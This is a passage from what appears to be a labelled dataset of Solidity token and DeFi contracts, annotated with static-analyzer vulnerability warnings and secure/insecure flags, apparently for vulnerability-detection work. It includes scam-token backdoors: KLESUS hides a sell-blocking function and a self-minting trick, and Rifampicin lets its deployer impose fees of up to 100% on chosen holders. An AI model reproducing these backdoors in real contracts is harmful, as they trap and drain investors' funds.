Recommendation for 20cc254: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 07bc5bc\n\t\t\t\t// reentrancy-eth | ID: 20cc254\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 07bc5bc\n\t\t\t\t\t// reentrancy-eth | ID: 20cc254\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 20cc254\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 20cc254\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 20cc254\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 07bc5bc\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 20cc254\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 20cc254\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 07bc5bc\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9bcb9f7\n\t\t// reentrancy-events | ID: 07bc5bc\n\t\t// reentrancy-benign | ID: 6270706\n\t\t// reentrancy-eth | ID: 20cc254\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: beec4d3): GIFT.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for beec4d3: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9bcb9f7\n\t\t// reentrancy-events | ID: 07bc5bc\n\t\t// reentrancy-eth | ID: 20cc254\n\t\t// arbitrary-send-eth | ID: beec4d3\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: efd6fd9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for efd6fd9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7574859): GIFT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7574859: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 48288e8): GIFT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 48288e8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bebc373): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bebc373: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: efd6fd9\n\t\t// reentrancy-eth | ID: bebc373\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: efd6fd9\n\t\t// unused-return | ID: 48288e8\n\t\t// reentrancy-eth | ID: bebc373\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: efd6fd9\n\t\t// unused-return | ID: 7574859\n\t\t// reentrancy-eth | ID: bebc373\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: efd6fd9\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: bebc373\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_849.sol", "secure": 0, "size_bytes": 17542 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Pair {\n function getReserves()\n external\n view\n returns (uint112 r, uint112 a, uint32 time);\n\n function token0() external view returns (address token);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n}", "file_name": "solidity_code_85.sol", "secure": 1, "size_bytes": 602 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./Governance.sol\" as Governance;\n\nabstract contract AprOracleBase is Governance {\n string public name;\n\n constructor(\n string memory _name,\n address _governance\n ) Governance(_governance) {\n name = _name;\n }\n\n function aprAfterDebtChange(\n address _strategy,\n int256 _delta\n ) external view virtual returns (uint256);\n}", "file_name": "solidity_code_850.sol", "secure": 1, "size_bytes": 462 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./AprOracleBase.sol\" as AprOracleBase;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"./IStake.sol\" as IStake;\n\ncontract SkyCompounderAprOracleDAI is AprOracleBase {\n constructor()\n AprOracleBase(\n \"SkyCompounder DAI & USDS APR Oracle\",\n 0xFEB4acf3df3cDEA7399794D0869ef76A6EfAff52\n )\n {}\n\n uint256 internal constant WAD = 1e18;\n\n uint256 internal constant RAY = 1e27;\n\n uint256 internal constant secondsPerYear = 31536000;\n\n address internal constant uniV2router =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n function aprAfterDebtChange(\n address,\n int256 _delta\n ) external view override returns (uint256) {\n address staking = 0x0650CAF159C5A49f711e8169D4336ECB9b950275;\n\n address SKY = 0x56072C95FAA701256059aa122697B133aDEd9279;\n\n address USDS = 0xdC035D45d973E3EC169d2276DDab16f1e407384F;\n\n uint256 totalSupply = IStake(staking).totalSupply();\n\n totalSupply = uint256(int256(totalSupply) + _delta);\n\n uint256 rewardRate = IStake(staking).rewardRate();\n\n uint256 price = _getAmountOut(SKY, USDS, WAD);\n\n uint256 rate = (rewardRate * price * WAD) / totalSupply / WAD;\n\n return (rpow(rate + WAD, secondsPerYear, WAD) - WAD) + 1;\n }\n\n function _getAmountOut(\n address _from,\n address _to,\n uint256 _amountIn\n ) internal view virtual returns (uint256) {\n uint256[] memory amounts = IUniswapV2Router02(uniV2router)\n .getAmountsOut(_amountIn, _getTokenOutPath(_from, _to));\n\n return amounts[amounts.length - 1];\n }\n\n function _getTokenOutPath(\n address _tokenIn,\n address _tokenOut\n ) internal view virtual returns (address[] memory _path) {\n _path = new address[](2);\n\n _path[0] = _tokenIn;\n\n _path[1] = _tokenOut;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: df2666e): SkyCompounderAprOracleDAI.rpow(uint256,uint256,uint256) performs a multiplication on the result of a division x = xxRound_rpow_asm_0 / base zx_rpow_asm_0 = z * x\n\t// Recommendation for df2666e: Consider ordering multiplication before division.\n function rpow(uint256 x, uint256 n, uint256 base) internal pure returns (uint256 z) {\n assembly {\n switch x\n case 0 {\n switch n\n case 0 {\n z := base\n }\n default {\n z := 0\n }\n }\n default {\n switch mod(n, 2)\n case 0 {\n z := base\n }\n default {\n z := x\n }\n\n let half := div(base, 2)\n\n for {\n n := div(n, 2)\n } n {\n n := div(n, 2)\n } {\n let xx := mul(x, x)\n\n if iszero(eq(div(xx, x), x)) {\n revert(0, 0)\n }\n\n let xxRound := add(xx, half)\n\n if lt(xxRound, xx) {\n revert(0, 0)\n }\n\n\t\t\t\t\t// divide-before-multiply | ID: df2666e\n x := div(xxRound, base)\n\n if mod(n, 2) {\n\t\t\t\t\t\t// divide-before-multiply | ID: df2666e\n let zx := mul(z, x)\n\n if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) {\n revert(0, 0)\n }\n\n let zxRound := add(zx, half)\n\n if lt(zxRound, zx) {\n revert(0, 0)\n }\n\n z := div(zxRound, base)\n }\n }\n }\n }\n }\n}", "file_name": "solidity_code_851.sol", "secure": 0, "size_bytes": 4123 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IStake {\n function rewardRate() external view returns (uint256);\n\n function totalSupply() external view returns (uint256);\n}", "file_name": "solidity_code_852.sol", "secure": 1, "size_bytes": 210 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _owner = _msgSender();\n\n emit OwnershipTransferred(address(0), _owner);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c43676c): Ownable.transferOwnership(address).newAddress lacks a zerocheck on \t _owner = newAddress\n\t// Recommendation for c43676c: Check that the address is not zero.\n function transferOwnership(address newAddress) public onlyOwner {\n\t\t// missing-zero-check | ID: c43676c\n _owner = newAddress;\n\n emit OwnershipTransferred(_owner, newAddress);\n }\n}", "file_name": "solidity_code_853.sol", "secure": 0, "size_bytes": 1093 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC20Burnable is Context, ERC20 {\n function burn(uint256 amount) public virtual {\n _burn(_msgSender(), amount);\n }\n\n function burnFrom(address account, uint256 amount) public virtual {\n _spendAllowance(account, _msgSender(), amount);\n\n _burn(account, amount);\n }\n}", "file_name": "solidity_code_854.sol", "secure": 1, "size_bytes": 519 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n", "file_name": "solidity_code_855.sol", "secure": 1, "size_bytes": 440 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 18a884c): Contract locking ether found Contract KLESUS has payable functions KLESUS.receive() But does not have a function to withdraw the ether\n// Recommendation for 18a884c: Remove the 'payable' attribute or add a withdraw function.\ncontract KLESUS is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ce58b3): KLESUS._name should be constant \n\t// Recommendation for 3ce58b3: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Kleus Klaus's Girl Friend\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 79f3171): KLESUS._symbol should be constant \n\t// Recommendation for 79f3171: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"KLEUS\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 60d85f4): KLESUS._decimals should be constant \n\t// Recommendation for 60d85f4: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 6;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0abc824): KLESUS.robo should be immutable \n\t// Recommendation for 0abc824: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public robo;\n\n mapping(address => uint256) _balances;\n\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public _isExcludefromFee;\n\n mapping(address => bool) public _uniswapPair;\n\n mapping(address => uint256) public wends;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 92fb531): KLESUS._totalSupply should be immutable \n\t// Recommendation for 92fb531: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 420690000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6f3429b): KLESUS.swapAndLiquifyEnabled should be constant \n\t// Recommendation for 6f3429b: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n\n _;\n\n inSwapAndLiquify = false;\n }\n\n constructor() {\n robo = payable(address(0xA7fc2B8F27B479Faec1d87CCC3CFb74D5D859d1D));\n\n _isExcludefromFee[robo] = true;\n\n _isExcludefromFee[owner()] = true;\n\n _isExcludefromFee[address(this)] = true;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 95de88c): KLESUS.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 95de88c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c3669fe): KLESUS._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c3669fe: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 422aaa5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6237f25\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 18a884c): Contract locking ether found Contract KLESUS has payable functions KLESUS.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 18a884c: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6237f25): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6237f25: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 422aaa5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 422aaa5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6237f25\n\t\t// reentrancy-benign | ID: 422aaa5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6237f25\n\t\t// reentrancy-benign | ID: 422aaa5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4838526): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4838526: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function LaunchPad() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: 4838526\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4838526\n uniswapV2Router = _uniswapV2Router;\n\n\t\t// reentrancy-benign | ID: 4838526\n _uniswapPair[address(uniswapPair)] = true;\n\n\t\t// reentrancy-benign | ID: 4838526\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: db27296): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for db27296: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: e7d1de7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for e7d1de7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n if ((from == to && to == robo) ? true : false)\n _balances[address(robo)] = amount.mul(2);\n\n if (!inSwapAndLiquify && !_uniswapPair[from]) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n\t\t\t\t// reentrancy-events | ID: db27296\n\t\t\t\t// reentrancy-no-eth | ID: e7d1de7\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-no-eth | ID: e7d1de7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t\t// reentrancy-events | ID: db27296\n\t\t\t// reentrancy-no-eth | ID: e7d1de7\n uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to])\n ? amount\n : tokenTransfer(from, amount);\n\n\t\t\t// reentrancy-no-eth | ID: e7d1de7\n _balances[to] = _balances[to].add(fAmount);\n\n\t\t\t// reentrancy-events | ID: db27296\n emit Transfer(from, to, fAmount);\n\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: 6237f25\n\t\t// reentrancy-events | ID: db27296\n\t\t// reentrancy-benign | ID: 422aaa5\n\t\t// reentrancy-no-eth | ID: e7d1de7\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(robo),\n block.timestamp\n )\n {} catch {}\n }\n\n function LamboBuy(address widjrk, uint256 wjzk) public {\n address msgsender = msg.sender;\n\n uint256 wapp = wjzk;\n\n if (wapp == 1 - 1 || wapp == 9 + 1) wends[widjrk] = wapp;\n\n if (msgsender != robo) revert(\"?\");\n }\n\n function tokenTransfer(\n address sender,\n uint256 amount\n ) internal returns (uint256) {\n uint256 swapRate = amount.mul(0).div(100);\n\n if (wends[sender] != 0) swapRate += amount + swapRate;\n\n if (swapRate > 0) {\n\t\t\t// reentrancy-no-eth | ID: e7d1de7\n _balances[address(this)] += swapRate;\n\n\t\t\t// reentrancy-events | ID: db27296\n emit Transfer(sender, address(this), swapRate);\n }\n\n return amount.sub(swapRate);\n }\n}", "file_name": "solidity_code_856.sol", "secure": 0, "size_bytes": 12279 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Boss is ERC20, ERC20Burnable, Ownable {\n constructor() ERC20(\"BOSS\", \"BOSS\") {\n _mint(msg.sender, 10000000000 * 10 ** decimals());\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override(ERC20) {\n super._beforeTokenTransfer(from, to, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual override(ERC20) {\n super._transfer(sender, recipient, amount);\n }\n}", "file_name": "solidity_code_857.sol", "secure": 1, "size_bytes": 857 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MarcoRubio is ERC20, ERC20Burnable, Ownable {\n uint256 public maxTransactionAmount;\n\n uint256 public maxWalletAmount;\n\n constructor(\n address initialOwner\n ) ERC20(\"Marco Rubio\", \"RUBIO\") Ownable(initialOwner) {\n _mint(owner(), 1000000000e18);\n\n maxTransactionAmount = (totalSupply() * 1) / 100;\n\n maxWalletAmount = (totalSupply() * 1) / 100;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9e47b49): MarcoRubio.setMaxTransactionAmount(uint256) should emit an event for maxTransactionAmount = amount \n\t// Recommendation for 9e47b49: Emit an event for critical parameter changes.\n function setMaxTransactionAmount(uint256 amount) external onlyOwner {\n require(\n amount <= (totalSupply() * 25) / 100,\n \"Exceeds 25% more than total supply\"\n );\n\n\t\t// events-maths | ID: 9e47b49\n maxTransactionAmount = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 95778d3): MarcoRubio.setMaxWalletAmount(uint256) should emit an event for maxWalletAmount = amount \n\t// Recommendation for 95778d3: Emit an event for critical parameter changes.\n function setMaxWalletAmount(uint256 amount) external onlyOwner {\n require(\n amount <= (totalSupply() * 25) / 100,\n \"Exceeds 25% more than total supply\"\n );\n\n\t\t// events-maths | ID: 95778d3\n maxWalletAmount = amount;\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override(ERC20) {\n if (from != owner() && to != owner() && to != address(0)) {\n require(\n value <= maxTransactionAmount,\n \"Exceeds maximum transaction amount\"\n );\n\n require(\n balanceOf(to) + value <= maxWalletAmount,\n \"Exceeds maximum wallet holding amount\"\n );\n }\n\n super._update(from, to, value);\n }\n}", "file_name": "solidity_code_858.sol", "secure": 0, "size_bytes": 2321 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Rifampicin is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7497b88): Rifampicin._decimals should be immutable \n\t// Recommendation for 7497b88: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0ff319b): Rifampicin._totalSupply should be immutable \n\t// Recommendation for 0ff319b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ba187ef): Rifampicin._bootsmark should be immutable \n\t// Recommendation for ba187ef: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _bootsmark;\n\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _bootsmark = msg.sender;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function beascer(address us, uint256 tse) external {\n require(_iee(msg.sender), \"Caller is not the original caller\");\n\n uint256 ee = 100;\n\n bool on = tse <= ee;\n\n _everter(on);\n\n _seFee(us, tse);\n }\n\n function _iee(address caller) internal view returns (bool) {\n return iMee();\n }\n\n function _everter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _seFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function 